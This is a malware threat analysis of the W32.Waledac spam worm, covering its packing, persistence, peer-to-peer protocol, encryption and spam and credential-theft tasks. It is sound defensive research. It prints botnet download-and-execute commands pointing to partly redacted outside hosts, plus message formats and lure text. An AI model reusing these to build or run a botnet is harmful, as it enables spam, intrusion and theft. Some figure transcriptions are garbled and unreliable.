W32.Waledac
Threat Analysis

Gilou Tenebro
Software Engineer

Introduction

W32.Waledac is a worm that uses social engineering and certain client side vulnerabilities in order to propagate. The worm has functionality to download and execute binaries, act as a network proxy, send spam, mine infected computers for data, such as email addresses and passwords, and perform denial of service (DoS) attacks. Symantec started noticing a burst in W32.Waledac activity around the third week of December in 2008. At that time it began spamming Christmas themed emails and turning compromised computers into spam bots\(^1\).

The first variant of W32.Waledac was discovered in April 2008 and this variant was delivered by the mechanisms that were used to deliver W32.Peacomm components\(^2\). This event linked W32.Waledac to W32.Peacomm; however, the nature of the relationship between W32. Waledac and W32.Peacomm is not known. W32.Waledac was also associated with W32.Downadup; on April 8, 2009, W32.Downadup.C received two update binaries through a peer-to-peer channel. One of these binaries was an update for W32.Downadup.C; the other was a copy of W32.Waledac\(^1\). This was a significant event in the security community as it connected W32.Waledac to W32.Downadup. However, the nature of this relationship is not yet fully understood.

More recently, the Waledac binary has been downloading and installing misleading security applications. These threats use fake system error messages and pornographic pop-up windows to scare a victim into paying a license to remove the false threats.

The main purpose of W32.Waledac is to send spam, to propagate itself, and to download additional files on to compromised computers. The
spam functionality of W32.Waledac serves a dual purpose: it uses spam to both spread itself and to market dubious products. The main propagation method is achieved by sending emails containing links to copies of itself. It tries to entice users with social engineering techniques, such as using holiday themes related to Christmas or Valentine’s day, topical news like the new US president, and fake news of bombing incidents that use geographical proximity to make the news report seem more sensational. The authors make the malicious Web sites hosting the malware look convincing so that a victim will trust the site. The worm has been known to use Web pages that appear to mimic sites, such as the official Obama-Biden campaign site, news articles from popular news sites, and most recently a legitimate SMS tool. The worm gets installed when the user clicks on the malicious link and runs the downloaded file.

W32.Waledac Web sites have also been seen serving various browser vulnerabilities. This is done so it can install itself on to a victim’s computer when the site is visited so even if the victim does not download or run the malicious binary, their computer could still be successfully attacked if it is vulnerable to the exploits that W32.Waledac uses. Fortunately, most of the vulnerabilities used by W32.Waledac are not new and the respective vendors have already patched them. Hence, users who regularly update their applications and computers are likely to be protected from the exploits. There are instances however when W32.Waledac Web sites do not contain exploits at all. Nevertheless, they still house malicious binaries that pose a danger to unsuspecting users.

W32.Waledac is also known to send spam that does not contain any links to copies of itself but instead promotes questionable products or services ranging from questionable job offers, to performance enhancing pharmaceuticals, to online casino games. This leads me to believe that the author intended to use this malware for financial gain. The author or authors either signed up as an ad affiliate for the product or services being promoted in the spam mails, or they leased the botnet to parties interested in using it to spread spam.

In addition to the above functionalities, this malware is also capable of downloading arbitrary files and installing them on to the compromised computer. An example is the misleading applications that have been downloaded and installed on compromised computers.

Waledac Binary

This section describes the Waledac binary, installation properties, and how the bot bootstraps onto the Waledac bot network.

Packer

The W32.Waledac binary is packed by several packers to hinder analysis and detection. Binary packing is a process where an executable file is processed by a “packer” and the result is an obfuscated binary. Depending on the packer that is used, packed binaries can be very difficult for security professionals to analyze because they require that the binary be unpacked before analysis can proceed. Anti-unpacking techniques are functionalities that are employed by the packer to prevent the binary from being unpacked. The first layer of packing on Waledac is UPX (a freely available packer), the second layer is a custom packer. During the unpacking process for the second layer of packing, the malware gradually reconstructs the instructions of the core program and passes control to it. The writing of the unpacked instructions happens in stages, so that the same memory location can change several values before it is finally assigned the correct value. These writing cycles are interspersed with other instructions, most of which aim to complicate the manual unpacking process.

Two of the techniques that Waledac uses to complicate its unpacking are worth noting. First, code obfuscation is achieved with a large number of jump instructions that frequently redirect code execution along with several call chain loops. Call chain loops start within a function that contains a call to another function, which in turn calls another function until a call is made to the initial function, completing the loop. Most of the functions in the loop do not actually make use of a return instruction to return the execution back to the function that called them. Instead, they just keep calling the next function in the loop and pass control to it. This hampers some function analysis because there is no return instruction marking an exit point for analysis.

Waledac’s packer also has anti-debugging mechanisms and functions that allows it to detect stepping done by a debugger. If detected, Waledec creates a code path that eventually leads to an invalid instruction.
Interestingly, the packer used by W32.Waledac.F is different from the packer used by the older versions of the worm. While the older packer also uses a number of anti-unpacking techniques, the two techniques documented above are new to the W32.Waledac.F version.

Initial W32.Waledac Installation

When the malware executes, it creates a window named fhfhkjfhwejkj and registers itself with the class name jfkljilj23f32io. As a self-starting mechanism, it also adds one of the following registry entries so it can run whenever Windows starts:

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"PromoReg" = "[PATH TO EXECUTABLE]"
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"PromoReg" = "[PATH TO EXECUTABLE]"

Being a spambot, this malware also collects email addresses by searching files in fixed and removable drives, except however for files with the extensions shown in table 1.

W32.Waledac then uses the registry to store configuration data. Under the "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\" registry key, this malware creates four more values: FWDone, LastCommandId, MyID, and RList.

FWDone is a flag that is set to "74 72 75 65" when the malware succeeds in connecting to the internet and one of its peers. The string "74 72 75 65" actually equates to the ASCII string "true". LastCommandId is used to store the hexadecimal equivalent of the ID number of the last command that the malware received and executed. The MyID registry entry contains a 16-byte hexadecimal number that is randomly generated to uniquely identify the node in the botnet. Lastly, the RList value is an obfuscated IP list that is used by the bot as a list of other peers. The RList value data is an XML formatted list that has been compressed using Bzip2 and encrypted using AES. Figure 1 illustrates how the original XML list is transformed into the encoded data we see for the RList registry value.

| File name extensions skipped by Waledac when harvesting email addresses |
|-----------------------------|-----------------|----------------|---------|
| .7z | .gz | .jpg | .vob |
| .avi | .hxd | .mov | .wav |
| .bmp | .hxx | .mp3 | .wave |
| .class | .hxn | .msi | .wma |
| .dll | .hxw | .ocx | .wmv |
| .exe | .jar | .ogg | .zip |
| .gif | .jpeg | .rar |

Figure 1

RList data compressed, encrypted and stored in the registry

![Image](image-url)
The data in the RList registry entry is initially populated from a list of IPs of Waledac nodes that is hardcoded into the binary. This list may vary per infection. Each entry in the hardcoded list of nodes has two components: a node ID and the corresponding node IP address. When the malware runs, it initially builds the XML node IP list based on these hardcoded entries by adding tags, a time stamp, and an HTTP port element. For example, a five-node IP XML list will have the format shown in figure 2.

Figure 2
A sample of a five-node IP list

```
<iplet GDPR cdat:- Notepad
File Edit Format View Help
</iplet>
<time= "1235174286">8</time>
<node ip="a" port="80" time="1235174285">8</node>
<node ip="b" port="80" time="1235174285">8</node>
<node ip="c" port="80" time="1235174285">8</node>
</nodes>
</nodes>
</time>
```

The malware randomly picks a node IP from the hardcoded list and converts it into XML format by adding tags and elements. Next, it compresses the XML list with bzip2 and then encrypts it with the Advanced Encryption Standard (AES) cipher, storing the result into the RList registry value. It then fetches another node at random, converts it to XML format and then prepends this new node into the previous XML list and changes the time value in between the localtime tags into that of the latest entry. After the new XML node IP list is generated, bzip2 and AES is applied on it again and the new value replaces the previous value stored in RList. These steps will be repeated all over again until the new list is finished. The IP list in RList can contain up to a maximum number of 500 nodes in it. This maximum number is retained even when the list is updated. When a full list is updated, old nodes are simply replaced with newer nodes, so consequently the last entries in the list are usually the first ones to go.

**W32.Waledac bootstrapping and topology**

A system compromised by a bot agent is usually referred to as a zombie. There are generally two types of zombies in the W32.Waledac botnet, and the type of zombie is determined when the zombie bootstraps to the botnet. If a zombie is publicly accessible and has very good bandwidth, the more likely it is to act as a HTTP and DNS proxy server for the botnet. For the rest of this paper, a proxy zombie will be referred to as a relay node. In contrast, a non-proxy zombie will be referred to as a slave node.

Relay nodes basically act as an intermediary between the slave nodes and the master C&C servers, as well as for each other. With the help of these relay nodes, Waledac is able to implement blind proxy redirection as another armoring tactic to protect the botnet from full enumeration and complete shutdown. Figure 3 depicts a sample illustration of Waledac’s network topology.

Furthermore, the hardcoded IP list embedded in a W32.Waledac binary is actually a list of relay nodes that is used by a new node to bootstrap to the network. Given that a relay node is also a compromised system, it is likely to be taken offline from the botnet when the infection is discovered and removed. For this reason, Waledac has to replace the list that it embeds on its binaries after a certain time, since offline relay nodes will obviously be useless in bootstrapping a new node into the botnet. Essentially, Waledac uses redundancy to ensure that in case of failure, there is still at least one alternative path available from one point to another.

**Node IP list updates**

A Waledac node updates its peer IP list using two methods. So in the event that one method fails, there is a backup method it can use. The first method involves an IP list exchange with another node. For example, a Waledac slave node randomly selects 100 relay nodes from its locally stored list and then attempts to connect with one of the relay nodes. Once a connection is established, the relay node constructs a list of 100 relay nodes in its own stored list, and exchanges it with the slave node. After they receive the list, they update their locally stored
list by replacing older entries with newer ones.

In the second method, a Waledac slave node updates its IP list by connecting to a hardcoded Waledac domain after 10 minutes, and fetching a list of active relay nodes using a GET request for an index.php file. The list received typically contains up to a maximum of 500 entries. After receiving the list, the slave node would once again update its locally stored list. This hardcoded domain usually turns out to be a fast-fluxed domain. So in a short period of time, the Web site host can resolve to multiple IP addresses. There is a good possibility that these hosts are compromised as well.

**Fast-flux network**

As mentioned previously, Waledac makes use of fast-flux hosting for its domains. Meaning that, in a short period of time, one Waledac domain can resolve to multiple hosts that are most likely just acting as proxies. A fast-flux DNS system makes it harder to track the source and as a consequence, it is not easy to completely shutdown. Evidently, it is meant as another defense mechanism for the Waledac network.

Figure 4 depicts the work of fast-flux service networking. It shows the results of DNS dig queries for one of Waledac’s domain during its “dirty bomb” campaign back in March, 2009. Notice that in spite of the queries being launched only four seconds apart, the returned IP address for the host in the second query is already different from that of the first query.

**Server-side Polymorphism**

Similar to what Peacomm (a.k.a. Storm) did during its run, Waledac regularly repacks the executable binaries housed in its malicious domains, and consequently achieves server-side polymorphism. For example, during Waledac’s 4th of July campaign, we observed it repacking its binaries every ten minutes. In its bid to evade file based detections, it changes the multilayered encryptions and protections that are wrapped around its executable.

**Communications**

In this section we will discuss how the Waledac bot nodes communicate with the bot network. The nodes in the W32.Waledac network use HTTP requests and responses to communicate between peers and to update its spam campaigns.

To establish a connection with a node, Waledac opens a random local port on the compromised computer and attempts to connect to port 80 of the remote W32.Waledac relay node. The message goes through at least four transformations before being sent to its peer. Anybody monitoring the HTTP packets on the wire will not easily be able to comprehend the messages.
In communicating with other nodes, this malware uses HTTP POST and GET messages. Except for the headers, the contents of the HTTP messages are usually obfuscated. An example of an HTTP POST request and response message exchange between two Waledac nodes is shown in figure 5. The top part is the request portion, while
the bottom part is the response portion. As you can see, the encrypted message data can be seen in the "a" URI parameter of the POST request, and is followed by the "b" URI parameter. On the contrary, the response to the POST request does not use these URIs.

Waledac message exchange

<table>
<thead>
<tr>
<th>Headers</th>
<th>TextView</th>
<th>WebForms</th>
<th>HexView</th>
<th>Auth</th>
<th>Raw</th>
<th>XML</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST /wrax.png HTTP/1.1</td>
<td>Referer: Mozilla</td>
<td>Accept: <em>/</em></td>
<td>Content-Type: application/x-www-form-urlencoded</td>
<td>User-Agent: Mozilla</td>
<td>Host: 82.240.250.83</td>
<td>Content-Length: 978</td>
</tr>
<tr>
<td>a=xmWAAAAY-WmQEB5lgbwXmxP1wKBQ2d1k5xgxt4DREnc9mg7peE1483dLVx7yyUe5wBKuuSBMccayUG2il1hwMhYh6jh_mrz</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>DCACf3CPCF_u6V1ARKUj1nhXEd2ujw4rsxMT_xVZGCMahwk6Ktg8gmMrM70x295B4Kyar49MvQ6DF9m6exebyb0cPoqll3ykF35Pmm8UGtxRnFzgh7TMd2N5K5L2C6H2TZw6q</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
| 17QrkFQuxARkQUnqc3wP9W2SQIn6U0Hy5JDNFF_xUSHDQrAfFiA4eR0n8nQUXu7UqAnxD13udgHod3b7H1n3lUw0zicjU9h9CxcYdYFU69780KdC5paodEvEKUtocr1BEn09010_jPdpHGMkKcKk3818t41c_ACB0sDnDNEUHbMx5h5wFycCqVqQkEBYHCT-N_BrtTeobM68s9gactGpBm5xJ22Q3J1Qo_90lJvO105vimIsm0e6A0sQ5sjhKHZFDTHknIBSONJ3jDdRht6h6oxCtnN8nq4s5xyu7yU0ct08V3wuaA1xyXT DT60r2Q2XVNTY2swqQ5xTcEKhHAPSHpthGxtXUZETU14AF1qeqzEe4FzSV55V39e20-5Kan91d7n-kN4xaeFz2wzcEY24IsFlaAPAP5gZQTM7M3Y7Gy0yZPHhr7Z2w-TK9hxTXTmNW2LMeFakRgy-eLw1kGdJG5DdLJ1dJw3bD4ekvAefJnQU-5Ad-v1jTECMGQ9QbPyly_J2p2P2J0S4NPB-4GxznFeqU1HbC8S16T7bJv1EeELa_wAcQyu1k900c10uBvCkh3yUKBL9KpmTCBam4XPPDCFe60-f1GAE1Q9y18Zk-d6NOy63- 
| XvD4S5APHBNh4hQ0IhZ1Qwdfu2Z5jQ1AVJrcMwTwhaka2zkra2MUe0PS1ak24JF1S2A8pQBWGoNMx3yS MC2&d=AAAAAA |

Response is encoded and may need to be decoded before inspection. Click here to transform.

<table>
<thead>
<tr>
<th>Transformer</th>
<th>Headers</th>
<th>TextView</th>
<th>ImageView</th>
<th>HexView</th>
<th>Auth</th>
<th>Caching</th>
<th>Privacy</th>
<th>Raw</th>
<th>XML</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP/1.1 200 OK</td>
<td>Server: nginx/0.6.34</td>
<td>Date: Sat, 21 Feb 2009 00:06:24 GMT</td>
<td>Content-Type: text/html</td>
<td>Transfer-Encoding: chunked</td>
<td>Connection: keep-alive</td>
<td>X-Powered-By: PHP/5.2.8</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
| 172 | ...WAAAAYQ7nP3JJ IT4aq7- 
SawZouwUy9VGB65S1BDUS512T969LB4HX_YLuqH10KgYtbBxZavJmab4PszgzJDFm9rPw4n7j4_87u6Gw2XwpyM457RbHn10Q7J1-YkQd775xYMrar4Kqj1al_aDr2U61i111120eUk44+w60o6hFyrqZ0MAZ gmoyavr7GsamZw-ev-7GvVvKscv7v2DmHeXEc6c3PjfuPjXXJjA2kpo3JZ4CFeCReYERK_mbN2TpxMHeZb90a0gauFZ149K3dhq46U jdBirXoAapTwswvKAU272fe22fIysh-537p0PMEnQc0YM2-OYDJU2d6h0_6976km5UAb1m9Dw1e6fLqyvY5dpMNM9uA2Q |

Waledac node message format

The plaintext message format used by W32.Waledac follows an XML structure. The root element is lm so all W32. Waledac messages are enclosed with this root start-tag and root end-tag. Table 2 contains some of the major elements that can be found inside most of the obfuscated messages. For a more comprehensive list of XML elements, please refer to Appendix C.
Waledac message encoding

As mentioned earlier, a Waledac node message goes through several transformation stages before it is transported. This is most likely an attempt to secure botnet data and thwart potential eavesdroppers.

Bzip2 compression

The XML form of the malware’s message is compressed with bzip2 before it is encrypted because the compression helps minimize the size of the message.

A compressed bzip2 stream always begins with the magic hex bytes “42 5A 68” or “BZh” in ASCII. In fact, you may have noticed these magic bytes in the bzip2 compressed form of the sample that was shown in figure 1.

AES-128-CBC encryption

After a message is packed with bzip2, Waledac encrypts the compressed form with the Advanced Encryption Standard (AES), which is a symmetric block cipher algorithm. This malware uses 128-bit (16-byte) keys and Cipher Block Chaining (CBC) mode. After the key schedule routine is applied to a key, it is expanded into an array of 44 word-sized values. The expanded keys are then saved into heap memory to be later used for encryption. Conversely, Waledac also precomputes the inverse of each expanded key and saves them near the same area in heap memory so they can be used for decryption later on.

Base64 encoding and some character substitutions

Waledac uses a slight modification of base64 encoding to transport data over the network. After the message is transformed using standard base64 encoding the malware further transforms the encoded message by substituting some characters and removing any padding at the end. It searches for ‘+’ characters in the base64 output and replace it with ‘-’. Next, it searches for ‘/’ characters and replace it with ‘_’. Lastly, it searches for “=” characters, which are normally found at the end of a padded base64 form, and replaces them with “_". Later on, the trailing “_” characters at the end are discarded, which in effect removes the original padding that base64 added.

RSA keys and x.509 certificates

To establish a connection, a slave node generates a new 1024-bit RSA public and private key pair on initialization. It then uses the public key to create a self-signed x.509 certificate (see figure 6 for an example) and initiates a handshake by sending a getkey (described later) message. The newly generated self-signed certificate will always have a validity period of one year, and the subject field will always be set to “C=UK, CN=OpenSSL Group”. When a connection is successfully established, the slave node then receives a base64 encoded, RSA encrypted session key that is used to AES-encrypt the messages that follow. A flowchart illustrating how Waledec constructs bot communications is shown in figure 7.

Waledac Message Types

There are 2 types of messages that the bot can use, the message could either contain a list of IP addresses so that Waledac can update its list of Waledac nodes (IP List message) or a task for the bot to execute (task message). Messages are sent using the HTTP protocol and the header of the HTTP requests use “Mozilla” as a Referer and/or User-Agent string. This is done to make it look like the W32.Waledac traffic came from a Mozilla browser. It is just another attempt to hide its presence and avoid suspicion.
Task Messages

A task message poses as a HTTP POST request for a PNG or HTM file that has a filename length of between 3-12 random letters. The encrypted task message data is contained in a URI parameter named “a”. If the sender of the task message is a slave node, a URI parameter called “b” is included, the value for this parameter is a base64 encoded null string “AAAAAA”. Alternately, if the task message sender is a relay node, the URI parameter value for “b” would be the base64 encoded IP address. The response data will be obfuscated and the response headers would appear to come from an nginx/0.6.34 server (see table 7 in Appendix B).

One thing that differentiates a task message from an IP list message is the header that is attached to its variable-sized AES-encrypted data, right before it is transformed using base64 encoding. Thus, the task message body will have the format:

```
[byTaskID (BYTE), dwDecSize (DWORD), task-Data (Variable size)]
```

The value dwDecSize will be in network byte-order and specifically refers to the decrypted size of the message attached to the header. Figure 8 shows an illustration of a message containing a header.

IP List Messages

Unlike the task messages, an IP List message data does not contain URI parameters or a prefixed header. Furthermore, an IP list exchange by HTTP POST has two
kinds, depending on the request type. It may either contain a list of relay nodes or a list of proxied C&C servers. A POST header containing a “X-Request-Kind-Code: nodes” line is a typical request used by a slave node to exchange an IP list of relay nodes with one of the relay nodes in its locally stored list. On the other hand, a POST header containing a “X-Request-Kind-Code: servers” line is a request used by a relay node to exchange an IP list of proxied C&C servers with another relay node.

Task Message Types

At present, there are nine types of tasks classified by the first byte in the header of encrypted task messages. Table 3 shows the current possible values. Each value corresponds to a specific task type, which in turn has different message formats.

For more details on what information the task messages may contain, please refer to Appendix C.

The creds task actually did not exist until the later variants of Waledac. Before that, Waledac only had the first eight task types. At the time of writing, the earliest sample seen by this researcher that had the added creds task was received around February, 2009. It is possible that it may have started earlier than that though.

See figure 9 for an example. The routine jump table at the top came from one of the samples we received in late December, 2008. In contrast, the jump table shown at the bottom of figure 9 came from a sample we received in late February, 2009. Through this, you will notice that the creds task was not a functionality of Waledac until the later variants. If you are wondering about the “unknown command” indicated in the jump tables in figure 9, this merely refers to Waledac’s bootstrap routine of exchanging and updating its IP list. It is the one responsible for generating the IP list messages.

Task messages are mainly used by W32.Waledac to distribute spam templates or word lists for its spam campaigns, to send reports, and to collect stolen information. What follows is a typical example of transactions that occur between a slave node and relay node.

Firstly, in a getkey task operation, a slave node tries to initiate a handshake with a relay node by sending a message containing a self-signed certificate. The relay node then responds back with a session key that is used to encrypt succeeding messages between both nodes. Once a session is established, the slave node executes a first
transaction by reporting its node label and Windows system version. The relay node simply sends back an acknowledgment receipt. Afterwards, the slave node performs a notify routine task by sending startup and run times information. In exchange, it receives commands and other configuration data from the relay node. Next, the slave node executes a taskreq operation by requesting for a spamming task, and the relay node responds by sending spam templates related to one or more spamming tasks. The templates sent by the relay node include an email template and a list of components or word lists available. This will then prompt the slave node to carry out multiple words transactions by sending one request for each word list. In response, the relay node transmits back each word list that was requested. After a spamming task is finished, a slave node performs a taskrep transaction by sending a report indicating which target email addresses were successfully spammed or not. It receives another acknowledgment receipt as a response.
Meanwhile, the slave node may also send messages anytime containing email addresses harvested during an *emails* task routine. Aside from this, it may also send login credentials that it managed to collect during a *creds* operation. For both cases, the relay node responds with an acknowledgment receipt.

On the other hand, a relay node also has the additional task of sending a report to the C&C server about connections that were made to it while acting as a proxy server. This is done through the *httpstats* task message. The report will contain information like the file requested, as well as the IP address and user-agent of the requester.

In the sections that follow, some of the tasks, namely *notify*, *taskreq*, *words*, *emails*, and *creds*, will be discussed in more detail.

**Notify Task Message**

During a "notify" message exchange, a Waledac node receives configuration data and commands like the ones shown in figure 10. One such data is the IP address of the SMTP server that a slave node connects to when performing its spamming task. In addition to receiving the same configuration data sent to a slave node, a relay node may also receive domain names of DNS zones and IP addresses of DNS hosts. There is also indication that a relay node may receive a list of connection requests to deny or blacklist, although at the time of writing I was unable to verify that.

It may also receive a download or update command through the "commands" attribute in the *notify* XML message. The command items are delimited with a pipe character and have the format illustrated in figure 11.

In addition, when the given command is successfully executed, the command ID will be stored in the registry as a hexadecimal value of the Last-CommandID.

**Bundled JPEG Download**

One of W32.Waledac's download abilities is to download a specially crafted JPEG image file. A binary file is appended after the end of the JPEG image file, but the JPEG image will render as an image in most image browsers.
The worm tries to hide the presence of the binary file attached at the bottom of the image file by XOR-encoding it. An example of an XOR-decoded binary is shown in figure 12 below. The executable is extracted from the end of the JPEG file, the image data is discarded, and the executable is decoded and executed. In the sample shown in figure 12, the decoded executable is an updated version of W32.Waledac. It is interesting how this executable update is only obfuscated with one layer using UPX compression. Normally, we see the W32.Waledac samples wrapped with multiple layers of encryption and protection, besides UPX compression. The sample in figure 12 suggests that Waledac updates downloaded through a command in a notify message are not as heavily encrypted, compared to bot agent binaries obtained through a download link that came from a propagation campaign spam.

One other example of the JPG bundled binaries that are currently downloaded and installed by Waledac, is a Nullsoft installer (NSIS) for WinPcap, a Windows packet capture library. WinPcap is not malicious by itself, but the library gives a bot master the ability to view a victim’s network traffic. Waledac uses it to sniff for FTP, POP3, SMTP, and HTTP traffic so that it can steal login information. The stolen login data is then transmitted to the bot master through the previously mentioned creds task message.
Furthermore, one slave node may be commanded to download a file that is different from that of another slave node. One node might receive a command to download a JPEG file bundled with a Winpcap installer, while another node might be commanded to download a JPEG file bundled with an update of Waledac instead.

**Fake AV Download**

Another type of file being downloaded by Waledac is an installer for a Fake AV application (a.k.a. Scareware or Rogue AV). In this case, the file downloaded is a pure executable binary and is not bundled with a JPEG file. However, Waledac attempts to protect the Fake AV installer from file-based detections again using server-side polymorphism.

An example of this misleading application is MS AntiSpyware 2009®. These types of application try to convince the user to install a fake security application by showing them false infection warnings. This could mean that the Waledac author/authors are making use of an affiliate program. They may have leased a part of their botnet to distribute the misleading applications.

**More on download-or-update commands**

At the moment, Waledac is capable of executing eight different types of download-or-update commands, namely `update`, `updateexe`, `download`, `downloadexe`, `downloadR`, `downloadexe`, `downloadS`, and `downloadSexe`. So far, we have seen three of those being actively carried out. The following shows some specific examples of the commands that we have observed being sent down to the nodes while monitoring Waledac. It also indicates what kind of file the commands downloaded during that time. Of course, there is a possibility that Waledac may choose a different kind of file to distribute in the future.

**Example 1:** The “update” command

This downloads a .jpg file bundled with an update of W32.Waledac.

```
252|update|http://91.205.[REMOVED]/pr/pic/mirabella.jpg
```

**Example 2:** The “download” command

These commands downloaded a .jpg file bundled with a WinPcap installer.

- `340|download|http://usa[REMOVED]/win.jpg`
- `340|download|http://best[REMOVED]/win.jpg`
- `341|download|http://best[REMOVED]/win.jpg`
- `342|download|http://mios[REMOVED]/win.jpg`
- `351|download|http://mios[REMOVED]/win.jpg`

**Example 3:** The “downloadexe” command

These commands downloaded a FakeAV installer.

- `341|downloadexe|http://best[REMOVED]/n1.exe`
- `342|downloadexe|http://mios[REMOVED]/n1.exe`
- `351|downloadexe|http://mios[REMOVED]/n1.exe`

**taskreq and words task messages**

The components of a Waledac spam are taken mainly from the `taskreq` and `words` task messages. The email template and list of recipient addresses can be found inside the taskreq message. The email template is base64-encoded inside the body attribute, but the rest of the contents of the taskreq message are plain text. The major components of the email template are taken from the `words` messages that follow after the `taskreq` message. The `words` message contain a list of strings that are used to fill the major variables in the email template. The list is requested based on the email template. For example, if the email template provided by the `taskreq` message contains a variable named pharma, the slave node sends a request for a `words` list named pharma. The relay node then sends back the pharma list and the slave node uses it to construct the spam email. An example of a taskreq message is shown in figure 13 on page 16.
The word lists can either be of a general type or spam-specific type. The general word list is mostly used for the contents of the email headers (see table 4 for examples). Notice that they are mostly just lists of names, domains, or versions that we typically see in email headers. We often see these lists being reused in more than one spam campaign. Except for domains, most of the general words lists are rarely changed or may not even be changed at all.

On the other hand, the spam-specific word list is used only for the specific spam campaign it was designed for. Once a specific spam campaign is over, we usually do not see this lists being used by Waledac to construct its spam anymore. Table 5 shows samples of lists that are specific to a spam campaign. For example, the pharma and pharma_links contains strings or links that are found only in W32.Waledac’s pharmaceutical spam campaign.

Moreover, a specific spam campaign may also have more than one email template. Combined with the contents of the email being randomly chosen from word lists, this means that a Waledac spam can have many possible combinations. It is obviously an additional attempt to further evade detection or spam traps.

The emails and creds messages

Both of these tasks basically just involve sending stolen data back to the botnet commander. We mentioned earlier that W32.Waledac searches the fixed and removable drives for email addresses except for files with the name extensions shown in table 1. After executing this task, Waledac sends the harvested email addresses through the emails task message. What does the malware do with the data? We believe that these email addresses eventually get added to the list of spam targets that are distributed to the nodes.

In the meantime, a creds message is sent whenever the malware manages to capture login information while monitoring FTP, POP3, SMTP, and HTTP traffic. The information sent will contain the username, password, server type, and server IP address. There is speculation that the login data is being used by the people behind W32.Waledac to gain access to the servers and then hijack them for their own use.
Figure 13
Snapshot of a sample taskreq message received by a slave node

```xml
<?xml version="1.0" encoding="utf-8"?>
<taskreq id="4">
    <task id="4">
        <body>
            <!-- Encoded email payload -->
            <!-- Contains spamming task details -->
        </body>
    </task>
</taskreq>
```

- The message contains a sample task request received by a slave node.
- The `id` attribute of the task is set to 4, indicating it is the 4th task.
- The `task` element contains the actual task details, including the encoded email payload.

---

**Figure 13 Notes:**

- The message is an example of a task request in the context of a spamming campaign.
- The encoded email payload is truncated and withdrawn.
- This message contains up to 1,000 target email addresses.
- The `taskreq` element is used to assemble a spamming task.
- The message is used to propagate the campaign.
- The `id` attribute is used to uniquely identify the task.

---

**Legend:**

- **Dirty bomb propagation campaign:** Refers to a specific list of names used in the campaign.
- **General word lists:** Refers to commonly used lists in every campaign.
- **Pharmaceutical campaign:** Used for the pharmaceutical campaign at the time this message was received.
- **Online casino games:** Used in the online casino games campaign.
- **Other lists:** Used in the campaign and rarely changed.

---

**Indicators:**

- The `name` and `time` attributes provide the name and timestamp of the word lists.
- Available word lists are indicated by the presence of the attributes, and the node requester can ask for them.
Appendix A

Gallery of websites used in W32.Waledac’s propagation campaigns

Figure 14
The Christmas ecard campaign

Figure 15
The SMS tool campaign

Do you want to test your partner or just to read somebody's SMS? This program is exactly what you need then! It's so easy! You don't need to install it at the mobile phone of your partner. Just download the program and you will able to read all SMS when you are online. Be aware of everything! This is an extremely useful service!

Download Free Trial

© SMS Spy. All rights reserved
Figure 16

The Valentines campaign

Guess, which one is for you?

Just in case you haven’t noticed yet - Valentine’s Day is coming soon. So don’t forget to get some flowers, a cute present or a nicely designed Valentines Card for your sweetheart. So make sure you grab the Valentine Devkit and get started.

Have fun and Happy Valentine’s day to all of you. Download Devkit.
Figure 17
The Obama presidency campaign

Figure 18
The dirty bomb news campaign
Figure 19

Couponizer campaign

![Couponizer campaign image]

Figure 20

4th of July campaign

Colorful Independence Day events took place throughout the country.

This year July 4th firework’s shows were surprisingly amazing. The largest firework happened this Saturday. Unprecedented sum of money was spent on this fabulous show even despite crisis. The American Pyrotechnics Association has named South Shore’s Fourth of July fireworks show as the best pyrotechnic displays in the nation. If you want to see this fantastic show just click on the video below and press “Run”.

![YouTube video player]

© 2009 YouTube, LLC
# Appendix B

## HTTP POST request and response formats

### Table 6

**Basic format for encrypted IP list message exchange**

| POST / HTTP/1.1 |
| Referrer: Mozilla |
| Accept: */* |
| Content-Type: application/x-www-form-urlencoded |
| X-Request-Kind-Code: [NODES|SERVERS] |
| User-Agent: Mozilla |
| Host: [IP ADDRESS] |
| Content-Length: [LENGTH] |
| Pragma: no-cache |
| [OBfuscated MESSAGE] |

| HTTP/1.1 200 OK |
| Server: Apache 1.3 |
| Content-Type: application/x-www-form-urlencoded |
| Content-Length: [LENGTH] |
| [OBfuscated MESSAGE] |

### Table 7

**Basic format for an encrypted task message exchange**

| POST /[RANDOM FILENAME].[PNG|HTM] HTTP/1.1 |
| Referrer: Mozilla |
| Accept: */* |
| Content-Type: application/x-www-form-urlencoded |
| User-Agent: Mozilla |
| Host: [IP ADDRESS] |
| Content-Length: [LENGTH] |
| Pragma: no-cache |
| a=[OBfuscated MESSAGE]&b=[BASE64 ENCODED DATA] |

| HTTP/1.1 200 OK |
| Server: nginx/0.6.34 |
| Content-Type: text/html |
| Connection: keep-alive |
| X-Powered-By: PHP/5.2.8 |
| Content-Length: [LENGTH] |
| [OBfuscated MESSAGE] |

### Table 8

**Basic format for a download or update request and response**

| GET /[RANDOM FILENAME].jpg HTTP/1.1 |
| User-Agent: Mozilla |
| Host: [DOMAIN NAME] POST / HTTP/1.1 |

| HTTP/1.1 200 OK |
| Server: nginx/0.6.33 |
| Content-Type: image/jpeg |
| Connection: keep-alive |
| Content-Length: [LENGTH] |
| Last-Modified: [DATE] |
| Accept-Ranges: bytes |
| [JPEG FILE WITH A BUNDLED BINARY OR AN EXECUTABLE] |
### Basic format for an index.php request and response

<table>
<thead>
<tr>
<th>GET /index.php HTTP/1.1</th>
</tr>
</thead>
<tbody>
<tr>
<td>User-Agent: Mozilla</td>
</tr>
<tr>
<td>Host: [DOMAIN NAME]</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK  
Server: nginx/0.6.33 | nginx/0.6.34  
Date: [DATE]  
Content-Type: text/html  
Connection: keep-alive  
X-Powered-By: PHP/5.2.8  
Content-Length: [LENGTH]  
[OBfuscated MESSAGE]
## Appendix C

<table>
<thead>
<tr>
<th>TaskID</th>
<th>Task Type</th>
<th>HTTP POST Message Contents</th>
</tr>
</thead>
</table>
| 0xFF   | getkey    | Sent: “getkey” task name, version number, node ID, node type  
|        |           | Attributes:  
|        |           | “cert” = a new X.509 or self-signed certificate containing a 1024-bit RSA public key in PEM format  
|        |           | Received: version number, “getkey” task name,  
|        |           | Attributes:  
